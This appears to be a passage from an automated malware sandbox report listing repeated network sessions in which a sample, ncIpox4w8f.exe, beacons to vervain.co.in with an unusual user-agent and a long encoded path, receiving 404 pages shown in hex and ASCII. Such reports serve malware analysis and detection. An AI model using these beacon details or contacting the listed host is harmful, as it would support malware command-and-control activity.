2022-08-05 13:08:30 UTC	6	OUT	GET /3437E44F6689E610&resi25412545d3437E44F6689E61025874515/Jsibtswtoeethvjdrykaimaovwatvsk HTTP/1.1 User-Agent: lVali Host: vervain.co.in
2022-08-05 13:08:30 UTC	6	IN	HTTP/1.1 404 Not Found Date: Fri, 05 Aug 2022 13:08:30 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Tue, 15 Mar 2022 23:01:27 GMT Accept-Ranges: bytes Content-Length: 583 Vary: Accept-Encoding Content-Type: text/html
2022-08-05 13:08:30 UTC	7	IN	Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 20 20 20 20 2e 6c 6f 61 64 65 72 20 7b 20 62 6f 72 64 65 72 3a 20 31 36 70 78 20 73 6f 6c 69 64 20 23 66 33 66 33 66 33 3b 20 62 6f 72 64 65 72 2d 74 6f 70 3a 20 31 36 70 78 20 73 6f 6c 69 64 20 23 33 34 39 38 64 62 3b 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 35 30 25 3b 20 77 69 64 74 68 3a 20 31 32 30 70 78 3b 20 68 65 69 67 68 74 3a 20 31 32 30 70 78 3b 20 61 6e 69 6d 61 74 69 6f 6e 3a 20 73 70 69 6e 20 32 73 20 6c 69 6e 65 61 72 20 69 6e 66 69 6e 69 74 65 3b 20 70 6f 73 69 74 69 6f 6e 3a 20 66 69 78 65 64 3b 20 74 6f 70 3a 20 34 30 25 3b 20 6c 65 66 74 3a 20 34 30 25 3b 20 7d 0a 20 20 20 20 20 20 20 20 40 6b 65 79 66 72 61 6d 65 73 20 73 70 69 6e 20 7b 20 Data Ascii: <html><head> <style> .loader { border: 16px solid #f3f3f3; border-top: 16px solid #3498db; border-radius: 50%; width: 120px; height: 120px; animation: spin 2s linear infinite; position: fixed; top: 40%; left: 40%; } @keyframes spin {

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
70	192.168.2.4	49847	199.79.62.221	443	C:\Users\user\Desktop\ncIpox4w8f.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 13:10:04 UTC	67	OUT	GET /3437E44F6689E610&resi25412545d3437E44F6689E61025874515/Jsibtswtoeethvjdrykaimaovwatvsk HTTP/1.1 User-Agent: lVali Host: vervain.co.in
2022-08-05 13:10:04 UTC	67	IN	HTTP/1.1 404 Not Found Date: Fri, 05 Aug 2022 13:10:04 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Tue, 15 Mar 2022 23:01:27 GMT Accept-Ranges: bytes Content-Length: 583 Vary: Accept-Encoding Content-Type: text/html
2022-08-05 13:10:04 UTC	67	IN	Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 20 20 20 20 2e 6c 6f 61 64 65 72 20 7b 20 62 6f 72 64 65 72 3a 20 31 36 70 78 20 73 6f 6c 69 64 20 23 66 33 66 33 66 33 3b 20 62 6f 72 64 65 72 2d 74 6f 70 3a 20 31 36 70 78 20 73 6f 6c 69 64 20 23 33 34 39 38 64 62 3b 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 35 30 25 3b 20 77 69 64 74 68 3a 20 31 32 30 70 78 3b 20 68 65 69 67 68 74 3a 20 31 32 30 70 78 3b 20 61 6e 69 6d 61 74 69 6f 6e 3a 20 73 70 69 6e 20 32 73 20 6c 69 6e 65 61 72 20 69 6e 66 69 6e 69 74 65 3b 20 70 6f 73 69 74 69 6f 6e 3a 20 66 69 78 65 64 3b 20 74 6f 70 3a 20 34 30 25 3b 20 6c 65 66 74 3a 20 34 30 25 3b 20 7d 0a 20 20 20 20 20 20 20 20 40 6b 65 79 66 72 61 6d 65 73 20 73 70 69 6e 20 7b 20 Data Ascii: <html><head> <style> .loader { border: 16px solid #f3f3f3; border-top: 16px solid #3498db; border-radius: 50%; width: 120px; height: 120px; animation: spin 2s linear infinite; position: fixed; top: 40%; left: 40%; } @keyframes spin {

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
71	192.168.2.4	49848	199.79.62.221	443	C:\Users\user\Desktop\ncIpox4w8f.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 13:10:05 UTC	68	OUT	GET /3437E44F6689E610&resi25412545d3437E44F6689E61025874515/Jsibtswtoeethvjdrykaimaovwatvsk HTTP/1.1 User-Agent: lVali Host: vervain.co.in
2022-08-05 13:10:05 UTC	68	IN	HTTP/1.1 404 Not Found Date: Fri, 05 Aug 2022 13:10:05 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Tue, 15 Mar 2022 23:01:27 GMT Accept-Ranges: bytes Content-Length: 583 Vary: Accept-Encoding Content-Type: text/html
2022-08-05 13:10:05 UTC	68	IN	Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 20 20 20 20 2e 6c 6f 61 64 65 72 20 7b 20 62 6f 72 64 65 72 3a 20 31 36 70 78 20 73 6f 6c 69 64 20 23 66 33 66 33 66 33 3b 20 62 6f 72 64 65 72 2d 74 6f 70 3a 20 31 36 70 78 20 73 6f 6c 69 64 20 23 33 34 39 38 64 62 3b 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 35 30 25 3b 20 77 69 64 74 68 3a 20 31 32 30 70 78 3b 20 68 65 69 67 68 74 3a 20 31 32 30 70 78 3b 20 61 6e 69 6d 61 74 69 6f 6e 3a 20 73 70 69 6e 20 32 73 20 6c 69 6e 65 61 72 20 69 6e 66 69 6e 69 74 65 3b 20 70 6f 73 69 74 69 6f 6e 3a 20 66 69 78 65 64 3b 20 74 6f 70 3a 20 34 30 25 3b 20 6c 65 66 74 3a 20 34 30 25 3b 20 7d 0a 20 20 20 20 20 20 20 20 40 6b 65 79 66 72 61 6d 65 73 20 73 70 69 6e 20 7b 20 Data Ascii: <html><head> <style> .loader { border: 16px solid #f3f3f3; border-top: 16px solid #3498db; border-radius: 50%; width: 120px; height: 120px; animation: spin 2s linear infinite; position: fixed; top: 40%; left: 40%; } @keyframes spin {

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
72	192.168.2.4	49849	199.79.62.221	443	C:\Users\user\Desktop\ncIpox4w8f.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 13:10:06 UTC	69	OUT	GET /3437E44F6689E610&resi25412545d3437E44F6689E61025874515/Jsibtswtoeethvjdrykaimaovwatvsk HTTP/1.1 User-Agent: lVali Host: vervain.co.in
2022-08-05 13:10:07 UTC	69	IN	HTTP/1.1 404 Not Found Date: Fri, 05 Aug 2022 13:10:06 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Tue, 15 Mar 2022 23:01:27 GMT Accept-Ranges: bytes Content-Length: 583 Vary: Accept-Encoding Content-Type: text/html
2022-08-05 13:10:07 UTC	69	IN	Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 20 20 20 20 2e 6c 6f 61 64 65 72 20 7b 20 62 6f 72 64 65 72 3a 20 31 36 70 78 20 73 6f 6c 69 64 20 23 66 33 66 33 66 33 3b 20 62 6f 72 64 65 72 2d 74 6f 70 3a 20 31 36 70 78 20 73 6f 6c 69 64 20 23 33 34 39 38 64 62 3b 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 35 30 25 3b 20 77 69 64 74 68 3a 20 31 32 30 70 78 3b 20 68 65 69 67 68 74 3a 20 31 32 30 70 78 3b 20 61 6e 69 6d 61 74 69 6f 6e 3a 20 73 70 69 6e 20 32 73 20 6c 69 6e 65 61 72 20 69 6e 66 69 6e 69 74 65 3b 20 70 6f 73 69 74 69 6f 6e 3a 20 66 69 78 65 64 3b 20 74 6f 70 3a 20 34 30 25 3b 20 6c 65 66 74 3a 20 34 30 25 3b 20 7d 0a 20 20 20 20 20 20 20 20 40 6b 65 79 66 72 61 6d 65 73 20 73 70 69 6e 20 7b 20 Data Ascii: <html><head> <style> .loader { border: 16px solid #f3f3f3; border-top: 16px solid #3498db; border-radius: 50%; width: 120px; height: 120px; animation: spin 2s linear infinite; position: fixed; top: 40%; left: 40%; } @keyframes spin {

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
73	192.168.2.4	49850	199.79.62.221	443	C:\Users\user\Desktop\ncIpox4w8f.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 13:10:07 UTC	70	OUT	GET /3437E44F6689E610&resi25412545d3437E44F6689E61025874515/Jsibtswtoeethvjdrykaimaovwatvsk HTTP/1.1 User-Agent: lVali Host: vervain.co.in
2022-08-05 13:10:08 UTC	70	IN	HTTP/1.1 404 Not Found Date: Fri, 05 Aug 2022 13:10:08 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Tue, 15 Mar 2022 23:01:27 GMT Accept-Ranges: bytes Content-Length: 583 Vary: Accept-Encoding Content-Type: text/html
2022-08-05 13:10:08 UTC	70	IN	Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 20 20 20 20 2e 6c 6f 61 64 65 72 20 7b 20 62 6f 72 64 65 72 3a 20 31 36 70 78 20 73 6f 6c 69 64 20 23 66 33 66 33 66 33 3b 20 62 6f 72 64 65 72 2d 74 6f 70 3a 20 31 36 70 78 20 73 6f 6c 69 64 20 23 33 34 39 38 64 62 3b 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 35 30 25 3b 20 77 69 64 74 68 3a 20 31 32 30 70 78 3b 20 68 65 69 67 68 74 3a 20 31 32 30 70 78 3b 20 61 6e 69 6d 61 74 69 6f 6e 3a 20 73 70 69 6e 20 32 73 20 6c 69 6e 65 61 72 20 69 6e 66 69 6e 69 74 65 3b 20 70 6f 73 69 74 69 6f 6e 3a 20 66 69 78 65 64 3b 20 74 6f 70 3a 20 34 30 25 3b 20 6c 65 66 74 3a 20 34 30 25 3b 20 7d 0a 20 20 20 20 20 20 20 20 40 6b 65 79 66 72 61 6d 65 73 20 73 70 69 6e 20 7b 20 Data Ascii: <html><head> <style> .loader { border: 16px solid #f3f3f3; border-top: 16px solid #3498db; border-radius: 50%; width: 120px; height: 120px; animation: spin 2s linear infinite; position: fixed; top: 40%; left: 40%; } @keyframes spin {

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
74	192.168.2.4	49852	199.79.62.221	443	C:\Users\user\Desktop\ncIpox4w8f.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 13:10:09 UTC	71	OUT	GET /3437E44F6689E610&resi25412545d3437E44F6689E61025874515/Jsibtswtoeethvjdrykaimaovwatvsk HTTP/1.1 User-Agent: lVali Host: vervain.co.in
2022-08-05 13:10:09 UTC	71	IN	HTTP/1.1 404 Not Found Date: Fri, 05 Aug 2022 13:10:09 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Tue, 15 Mar 2022 23:01:27 GMT Accept-Ranges: bytes Content-Length: 583 Vary: Accept-Encoding Content-Type: text/html
2022-08-05 13:10:09 UTC	71	IN	Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 20 20 20 20 2e 6c 6f 61 64 65 72 20 7b 20 62 6f 72 64 65 72 3a 20 31 36 70 78 20 73 6f 6c 69 64 20 23 66 33 66 33 66 33 3b 20 62 6f 72 64 65 72 2d 74 6f 70 3a 20 31 36 70 78 20 73 6f 6c 69 64 20 23 33 34 39 38 64 62 3b 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 35 30 25 3b 20 77 69 64 74 68 3a 20 31 32 30 70 78 3b 20 68 65 69 67 68 74 3a 20 31 32 30 70 78 3b 20 61 6e 69 6d 61 74 69 6f 6e 3a 20 73 70 69 6e 20 32 73 20 6c 69 6e 65 61 72 20 69 6e 66 69 6e 69 74 65 3b 20 70 6f 73 69 74 69 6f 6e 3a 20 66 69 78 65 64 3b 20 74 6f 70 3a 20 34 30 25 3b 20 6c 65 66 74 3a 20 34 30 25 3b 20 7d 0a 20 20 20 20 20 20 20 20 40 6b 65 79 66 72 61 6d 65 73 20 73 70 69 6e 20 7b 20 Data Ascii: <html><head> <style> .loader { border: 16px solid #f3f3f3; border-top: 16px solid #3498db; border-radius: 50%; width: 120px; height: 120px; animation: spin 2s linear infinite; position: fixed; top: 40%; left: 40%; } @keyframes spin {

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
75	192.168.2.4	49853	199.79.62.221	443	C:\Users\user\Desktop\ncIpox4w8f.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 13:10:09 UTC	72	OUT	GET /3437E44F6689E610&resi25412545d3437E44F6689E61025874515/Jsibtswtoeethvjdrykaimaovwatvsk HTTP/1.1 User-Agent: lVali Host: vervain.co.in
2022-08-05 13:10:10 UTC	72	IN	HTTP/1.1 404 Not Found Date: Fri, 05 Aug 2022 13:10:10 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Tue, 15 Mar 2022 23:01:27 GMT Accept-Ranges: bytes Content-Length: 583 Vary: Accept-Encoding Content-Type: text/html
2022-08-05 13:10:10 UTC	72	IN	Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 20 20 20 20 2e 6c 6f 61 64 65 72 20 7b 20 62 6f 72 64 65 72 3a 20 31 36 70 78 20 73 6f 6c 69 64 20 23 66 33 66 33 66 33 3b 20 62 6f 72 64 65 72 2d 74 6f 70 3a 20 31 36 70 78 20 73 6f 6c 69 64 20 23 33 34 39 38 64 62 3b 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 35 30 25 3b 20 77 69 64 74 68 3a 20 31 32 30 70 78 3b 20 68 65 69 67 68 74 3a 20 31 32 30 70 78 3b 20 61 6e 69 6d 61 74 69 6f 6e 3a 20 73 70 69 6e 20 32 73 20 6c 69 6e 65 61 72 20 69 6e 66 69 6e 69 74 65 3b 20 70 6f 73 69 74 69 6f 6e 3a 20 66 69 78 65 64 3b 20 74 6f 70 3a 20 34 30 25 3b 20 6c 65 66 74 3a 20 34 30 25 3b 20 7d 0a 20 20 20 20 20 20 20 20 40 6b 65 79 66 72 61 6d 65 73 20 73 70 69 6e 20 7b 20 Data Ascii: <html><head> <style> .loader { border: 16px solid #f3f3f3; border-top: 16px solid #3498db; border-radius: 50%; width: 120px; height: 120px; animation: spin 2s linear infinite; position: fixed; top: 40%; left: 40%; } @keyframes spin {

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
76	192.168.2.4	49854	199.79.62.221	443	C:\Users\user\Desktop\ncIpox4w8f.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 13:10:11 UTC	73	OUT	GET /3437E44F6689E610&resi25412545d3437E44F6689E61025874515/Jsibtswtoeethvjdrykaimaovwatvsk HTTP/1.1 User-Agent: lVali Host: vervain.co.in
2022-08-05 13:10:11 UTC	73	IN	HTTP/1.1 404 Not Found Date: Fri, 05 Aug 2022 13:10:11 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Tue, 15 Mar 2022 23:01:27 GMT Accept-Ranges: bytes Content-Length: 583 Vary: Accept-Encoding Content-Type: text/html
2022-08-05 13:10:11 UTC	73	IN	Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 20 20 20 20 2e 6c 6f 61 64 65 72 20 7b 20 62 6f 72 64 65 72 3a 20 31 36 70 78 20 73 6f 6c 69 64 20 23 66 33 66 33 66 33 3b 20 62 6f 72 64 65 72 2d 74 6f 70 3a 20 31 36 70 78 20 73 6f 6c 69 64 20 23 33 34 39 38 64 62 3b 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 35 30 25 3b 20 77 69 64 74 68 3a 20 31 32 30 70 78 3b 20 68 65 69 67 68 74 3a 20 31 32 30 70 78 3b 20 61 6e 69 6d 61 74 69 6f 6e 3a 20 73 70 69 6e 20 32 73 20 6c 69 6e 65 61 72 20 69 6e 66 69 6e 69 74 65 3b 20 70 6f 73 69 74 69 6f 6e 3a 20 66 69 78 65 64 3b 20 74 6f 70 3a 20 34 30 25 3b 20 6c 65 66 74 3a 20 34 30 25 3b 20 7d 0a 20 20 20 20 20 20 20 20 40 6b 65 79 66 72 61 6d 65 73 20 73 70 69 6e 20 7b 20 Data Ascii: <html><head> <style> .loader { border: 16px solid #f3f3f3; border-top: 16px solid #3498db; border-radius: 50%; width: 120px; height: 120px; animation: spin 2s linear infinite; position: fixed; top: 40%; left: 40%; } @keyframes spin {

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
77	192.168.2.4	49855	199.79.62.221	443	C:\Users\user\Desktop\ncIpox4w8f.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 13:10:12 UTC	74	OUT	GET /3437E44F6689E610&resi25412545d3437E44F6689E61025874515/Jsibtswtoeethvjdrykaimaovwatvsk HTTP/1.1 User-Agent: lVali Host: vervain.co.in
2022-08-05 13:10:12 UTC	74	IN	HTTP/1.1 404 Not Found Date: Fri, 05 Aug 2022 13:10:12 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Tue, 15 Mar 2022 23:01:27 GMT Accept-Ranges: bytes Content-Length: 583 Vary: Accept-Encoding Content-Type: text/html
2022-08-05 13:10:12 UTC	74	IN	Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 20 20 20 20 2e 6c 6f 61 64 65 72 20 7b 20 62 6f 72 64 65 72 3a 20 31 36 70 78 20 73 6f 6c 69 64 20 23 66 33 66 33 66 33 3b 20 62 6f 72 64 65 72 2d 74 6f 70 3a 20 31 36 70 78 20 73 6f 6c 69 64 20 23 33 34 39 38 64 62 3b 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 35 30 25 3b 20 77 69 64 74 68 3a 20 31 32 30 70 78 3b 20 68 65 69 67 68 74 3a 20 31 32 30 70 78 3b 20 61 6e 69 6d 61 74 69 6f 6e 3a 20 73 70 69 6e 20 32 73 20 6c 69 6e 65 61 72 20 69 6e 66 69 6e 69 74 65 3b 20 70 6f 73 69 74 69 6f 6e 3a 20 66 69 78 65 64 3b 20 74 6f 70 3a 20 34 30 25 3b 20 6c 65 66 74 3a 20 34 30 25 3b 20 7d 0a 20 20 20 20 20 20 20 20 40 6b 65 79 66 72 61 6d 65 73 20 73 70 69 6e 20 7b 20 Data Ascii: <html><head> <style> .loader { border: 16px solid #f3f3f3; border-top: 16px solid #3498db; border-radius: 50%; width: 120px; height: 120px; animation: spin 2s linear infinite; position: fixed; top: 40%; left: 40%; } @keyframes spin {

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
78	192.168.2.4	49856	199.79.62.221	443	C:\Users\user\Desktop\ncIpox4w8f.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 13:10:13 UTC	75	OUT	GET /3437E44F6689E610&resi25412545d3437E44F6689E61025874515/Jsibtswtoeethvjdrykaimaovwatvsk HTTP/1.1 User-Agent: lVali Host: vervain.co.in
2022-08-05 13:10:13 UTC	75	IN	HTTP/1.1 404 Not Found Date: Fri, 05 Aug 2022 13:10:13 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Tue, 15 Mar 2022 23:01:27 GMT Accept-Ranges: bytes Content-Length: 583 Vary: Accept-Encoding Content-Type: text/html
2022-08-05 13:10:13 UTC	75	IN	Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 20 20 20 20 2e 6c 6f 61 64 65 72 20 7b 20 62 6f 72 64 65 72 3a 20 31 36 70 78 20 73 6f 6c 69 64 20 23 66 33 66 33 66 33 3b 20 62 6f 72 64 65 72 2d 74 6f 70 3a 20 31 36 70 78 20 73 6f 6c 69 64 20 23 33 34 39 38 64 62 3b 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 35 30 25 3b 20 77 69 64 74 68 3a 20 31 32 30 70 78 3b 20 68 65 69 67 68 74 3a 20 31 32 30 70 78 3b 20 61 6e 69 6d 61 74 69 6f 6e 3a 20 73 70 69 6e 20 32 73 20 6c 69 6e 65 61 72 20 69 6e 66 69 6e 69 74 65 3b 20 70 6f 73 69 74 69 6f 6e 3a 20 66 69 78 65 64 3b 20 74 6f 70 3a 20 34 30 25 3b 20 6c 65 66 74 3a 20 34 30 25 3b 20 7d 0a 20 20 20 20 20 20 20 20 40 6b 65 79 66 72 61 6d 65 73 20 73 70 69 6e 20 7b 20 Data Ascii: <html><head> <style> .loader { border: 16px solid #f3f3f3; border-top: 16px solid #3498db; border-radius: 50%; width: 120px; height: 120px; animation: spin 2s linear infinite; position: fixed; top: 40%; left: 40%; } @keyframes spin {

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
79	192.168.2.4	49857	199.79.62.221	443	C:\Users\user\Desktop\ncIpox4w8f.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 13:10:14 UTC	76	OUT	GET /3437E44F6689E610&resi25412545d3437E44F6689E61025874515/Jsibtswtoeethvjdrykaimaovwatvsk HTTP/1.1 User-Agent: lVali Host: vervain.co.in
2022-08-05 13:10:14 UTC	76	IN	HTTP/1.1 404 Not Found Date: Fri, 05 Aug 2022 13:10:14 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Tue, 15 Mar 2022 23:01:27 GMT Accept-Ranges: bytes Content-Length: 583 Vary: Accept-Encoding Content-Type: text/html
2022-08-05 13:10:14 UTC	76	IN	Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 20 20 20 20 2e 6c 6f 61 64 65 72 20 7b 20 62 6f 72 64 65 72 3a 20 31 36 70 78 20 73 6f 6c 69 64 20 23 66 33 66 33 66 33 3b 20 62 6f 72 64 65 72 2d 74 6f 70 3a 20 31 36 70 78 20 73 6f 6c 69 64 20 23 33 34 39 38 64 62 3b 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 35 30 25 3b 20 77 69 64 74 68 3a 20 31 32 30 70 78 3b 20 68 65 69 67 68 74 3a 20 31 32 30 70 78 3b 20 61 6e 69 6d 61 74 69 6f 6e 3a 20 73 70 69 6e 20 32 73 20 6c 69 6e 65 61 72 20 69 6e 66 69 6e 69 74 65 3b 20 70 6f 73 69 74 69 6f 6e 3a 20 66 69 78 65 64 3b 20 74 6f 70 3a 20 34 30 25 3b 20 6c 65 66 74 3a 20 34 30 25 3b 20 7d 0a 20 20 20 20 20 20 20 20 40 6b 65 79 66 72 61 6d 65 73 20 73 70 69 6e 20 7b 20 Data Ascii: <html><head> <style> .loader { border: 16px solid #f3f3f3; border-top: 16px solid #3498db; border-radius: 50%; width: 120px; height: 120px; animation: spin 2s linear infinite; position: fixed; top: 40%; left: 40%; } @keyframes spin {

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
8	192.168.2.4	49763	199.79.62.221	443	C:\Users\user\Desktop\ncIpox4w8f.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 13:08:31 UTC	7	OUT	GET /3437E44F6689E610&resi25412545d3437E44F6689E61025874515/Jsibtswtoeethvjdrykaimaovwatvsk HTTP/1.1 User-Agent: lVali Host: vervain.co.in
2022-08-05 13:08:31 UTC	7	IN	HTTP/1.1 404 Not Found Date: Fri, 05 Aug 2022 13:08:31 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Tue, 15 Mar 2022 23:01:27 GMT Accept-Ranges: bytes Content-Length: 583 Vary: Accept-Encoding Content-Type: text/html
2022-08-05 13:08:31 UTC	8	IN	Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 20 20 20 20 2e 6c 6f 61 64 65 72 20 7b 20 62 6f 72 64 65 72 3a 20 31 36 70 78 20 73 6f 6c 69 64 20 23 66 33 66 33 66 33 3b 20 62 6f 72 64 65 72 2d 74 6f 70 3a 20 31 36 70 78 20 73 6f 6c 69 64 20 23 33 34 39 38 64 62 3b 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 35 30 25 3b 20 77 69 64 74 68 3a 20 31 32 30 70 78 3b 20 68 65 69 67 68 74 3a 20 31 32 30 70 78 3b 20 61 6e 69 6d 61 74 69 6f 6e 3a 20 73 70 69 6e 20 32 73 20 6c 69 6e 65 61 72 20 69 6e 66 69 6e 69 74 65 3b 20 70 6f 73 69 74 69 6f 6e 3a 20 66 69 78 65 64 3b 20 74 6f 70 3a 20 34 30 25 3b 20 6c 65 66 74 3a 20 34 30 25 3b 20 7d 0a 20 20 20 20 20 20 20 20 40 6b 65 79 66 72 61 6d 65 73 20 73 70 69 6e 20 7b 20 Data Ascii: <html><head> <style> .loader { border: 16px solid #f3f3f3; border-top: 16px solid #3498db; border-radius: 50%; width: 120px; height: 120px; animation: spin 2s linear infinite; position: fixed; top: 40%; left: 40%; } @keyframes spin {

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
80	192.168.2.4	49858	199.79.62.221	443	C:\Users\user\Desktop\ncIpox4w8f.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 13:10:15 UTC	77	OUT	GET /3437E44F6689E610&resi25412545d3437E44F6689E61025874515/Jsibtswtoeethvjdrykaimaovwatvsk HTTP/1.1 User-Agent: lVali Host: vervain.co.in
2022-08-05 13:10:15 UTC	77	IN	HTTP/1.1 404 Not Found Date: Fri, 05 Aug 2022 13:10:15 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Tue, 15 Mar 2022 23:01:27 GMT Accept-Ranges: bytes Content-Length: 583 Vary: Accept-Encoding Content-Type: text/html
2022-08-05 13:10:15 UTC	77	IN	Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 20 20 20 20 2e 6c 6f 61 64 65 72 20 7b 20 62 6f 72 64 65 72 3a 20 31 36 70 78 20 73 6f 6c 69 64 20 23 66 33 66 33 66 33 3b 20 62 6f 72 64 65 72 2d 74 6f 70 3a 20 31 36 70 78 20 73 6f 6c 69 64 20 23 33 34 39 38 64 62 3b 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 35 30 25 3b 20 77 69 64 74 68 3a 20 31 32 30 70 78 3b 20 68 65 69 67 68 74 3a 20 31 32 30 70 78 3b 20 61 6e 69 6d 61 74 69 6f 6e 3a 20 73 70 69 6e 20 32 73 20 6c 69 6e 65 61 72 20 69 6e 66 69 6e 69 74 65 3b 20 70 6f 73 69 74 69 6f 6e 3a 20 66 69 78 65 64 3b 20 74 6f 70 3a 20 34 30 25 3b 20 6c 65 66 74 3a 20 34 30 25 3b 20 7d 0a 20 20 20 20 20 20 20 20 40 6b 65 79 66 72 61 6d 65 73 20 73 70 69 6e 20 7b 20 Data Ascii: <html><head> <style> .loader { border: 16px solid #f3f3f3; border-top: 16px solid #3498db; border-radius: 50%; width: 120px; height: 120px; animation: spin 2s linear infinite; position: fixed; top: 40%; left: 40%; } @keyframes spin {

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
81	192.168.2.4	49859	199.79.62.221	443	C:\Users\user\Desktop\ncIpox4w8f.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 13:10:16 UTC	78	OUT	GET /3437E44F6689E610&resi25412545d3437E44F6689E61025874515/Jsibtswtoeethvjdrykaimaovwatvsk HTTP/1.1 User-Agent: lVali Host: vervain.co.in
2022-08-05 13:10:16 UTC	78	IN	HTTP/1.1 404 Not Found Date: Fri, 05 Aug 2022 13:10:16 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Tue, 15 Mar 2022 23:01:27 GMT Accept-Ranges: bytes Content-Length: 583 Vary: Accept-Encoding Content-Type: text/html
2022-08-05 13:10:16 UTC	78	IN	Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 20 20 20 20 2e 6c 6f 61 64 65 72 20 7b 20 62 6f 72 64 65 72 3a 20 31 36 70 78 20 73 6f 6c 69 64 20 23 66 33 66 33 66 33 3b 20 62 6f 72 64 65 72 2d 74 6f 70 3a 20 31 36 70 78 20 73 6f 6c 69 64 20 23 33 34 39 38 64 62 3b 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 35 30 25 3b 20 77 69 64 74 68 3a 20 31 32 30 70 78 3b 20 68 65 69 67 68 74 3a 20 31 32 30 70 78 3b 20 61 6e 69 6d 61 74 69 6f 6e 3a 20 73 70 69 6e 20 32 73 20 6c 69 6e 65 61 72 20 69 6e 66 69 6e 69 74 65 3b 20 70 6f 73 69 74 69 6f 6e 3a 20 66 69 78 65 64 3b 20 74 6f 70 3a 20 34 30 25 3b 20 6c 65 66 74 3a 20 34 30 25 3b 20 7d 0a 20 20 20 20 20 20 20 20 40 6b 65 79 66 72 61 6d 65 73 20 73 70 69 6e 